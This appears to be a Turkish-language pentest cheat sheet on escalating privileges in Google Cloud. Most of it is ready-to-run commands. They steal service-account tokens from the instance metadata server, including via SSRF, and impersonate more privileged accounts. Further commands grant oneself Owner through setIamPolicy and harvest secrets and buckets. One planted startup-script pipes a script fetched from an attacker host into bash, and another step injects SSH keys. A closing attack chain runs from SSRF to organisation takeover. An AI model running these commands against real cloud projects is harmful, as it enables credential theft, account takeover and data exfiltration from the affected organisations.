GCP — IAM & Metadata Abuse
GCP privesc
GCP privesc
GCP’de yetkilendirme IAM rolleri ve service account (SA) kimlikleriyle yapılır. Privesc genellikle SA impersonation, setIamPolicy, actAs ve compute üzerinden kod çalıştırma ile ilerler. AWS PassRole düşüncesinin karşılığı çoğu zaman SA’yı actAs / getAccessToken ile ele geçirmektir.
Ön koşullar
Section titled “Ön koşullar”- gcloud auth (user ADC veya SA JSON key)- veya GCE/GKE üzerinde RCE/SSRF → metadata- Hedef project IDgcloud auth logingcloud auth activate-service-account --key-file=sa.jsongcloud config set project PROJECT_IDgcloud auth listgcloud config listMetadata’dan token çalma
Section titled “Metadata’dan token çalma”curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/project/project-id"curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/attributes/"curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script"SSRF’de Metadata-Flavor: Google başlığı zorunludur; header enjekte edilemeyen SSRF çoğu zaman başarısız olur. Alternatif IP: 169.254.169.254.
Token’ı kullan:
export CLOUDSDK_AUTH_ACCESS_TOKEN='ya29...'gcloud auth print-access-tokencurl -s -H "Authorization: Bearer $(curl -s -H 'Metadata-Flavor: Google' \ 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)" \ "https://cloudresourcemanager.googleapis.com/v1/projects"gcloud projects listgcloud iam service-accounts listgcloud projects get-iam-policy PROJECT_IDgcloud organizations get-iam-policy ORG_ID 2>/dev/nullgcloud compute instances listgcloud compute disks listgcloud secrets listgcloud secrets versions access latest --secret=SECRETgcloud storage buckets listgcloud storage ls gs://bucketgcloud functions listgcloud run services listgcloud container clusters listgcloud sql instances listPublic bucket:
gsutil ls gs://bucket # anonim deneGCPBucketBrute -u user -k wordlist.txtTehlikeli izinler / privesc yolları
Section titled “Tehlikeli izinler / privesc yolları”iam.serviceAccounts.getAccessToken / actAs → SA impersonationiam.serviceAccounts.implicitDelegationiam.serviceAccounts.signJwt / signBlob → token/imza forge*.setIamPolicy (resourcemanager.projects) → kendine Owner/Editordeploymentmanager.deployments.create → SA ile kaynakcloudfunctions.functions.create + setIamPolicycompute.instances.setMetadata / setIamPolicy → startup-script / SSH keycompute.instances.create + SA attachstorage.objectAdmin on sensitive bucketssecretmanager.versions.accesscomposer / dataflow / notebooks → SA ile iş çalıştırgcloud config set auth/impersonate_service_account \ privileged-sa@PROJECT.iam.gserviceaccount.comgcloud projects get-iam-policy PROJECTgcloud storage ls --impersonate-service-account=sa@PROJECT.iam.gserviceaccount.comgcloud auth print-access-token --impersonate-service-account=sa@...Compute üzerinden RCE
Section titled “Compute üzerinden RCE”gcloud compute instances add-metadata TARGET --metadata=startup-script='#!/bin/bashcurl https://attacker/r.sh | bash'gcloud compute instances reset TARGETgcloud compute instances add-metadata TARGET \ --metadata=ssh-keys="user:ssh-rsa AAAA... user"Komut üreteci
Section titled “Komut üreteci”GCP · metadata token
embedded toolcurl -s -H Metadata-Flavor:Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenGCP · metadata token
Section titled “GCP · metadata token”Metodoloji
Section titled “Metodoloji”-
İzin haritası çıkar — gcloud projects get-iam-policy ; hangi kullanıcı/SA hangi role sahip. Custom role permission listelerini oku.
-
Impersonation dene — getAccessToken / actAs iznin varsa daha yetkili SA’ya geç; yeni token ile IAM’i tekrar çek.
-
setIamPolicy / compute — proje IAM’ini kendine Editor/Owner yapabiliyorsan yap; değilse setMetadata , Cloud Function, Cloud Run veya GKE üzerinden kod çalıştır.
-
Secret & storage hasadı — Secret Manager, GCS tfstate, Artifact Registry.
Saldırı zinciri
Section titled “Saldırı zinciri”SSRF + Metadata-Flavor → default SA token (cloud-platform scope) → actAs on privileged SA → setIamPolicy → roles/owner → secrets + org lateral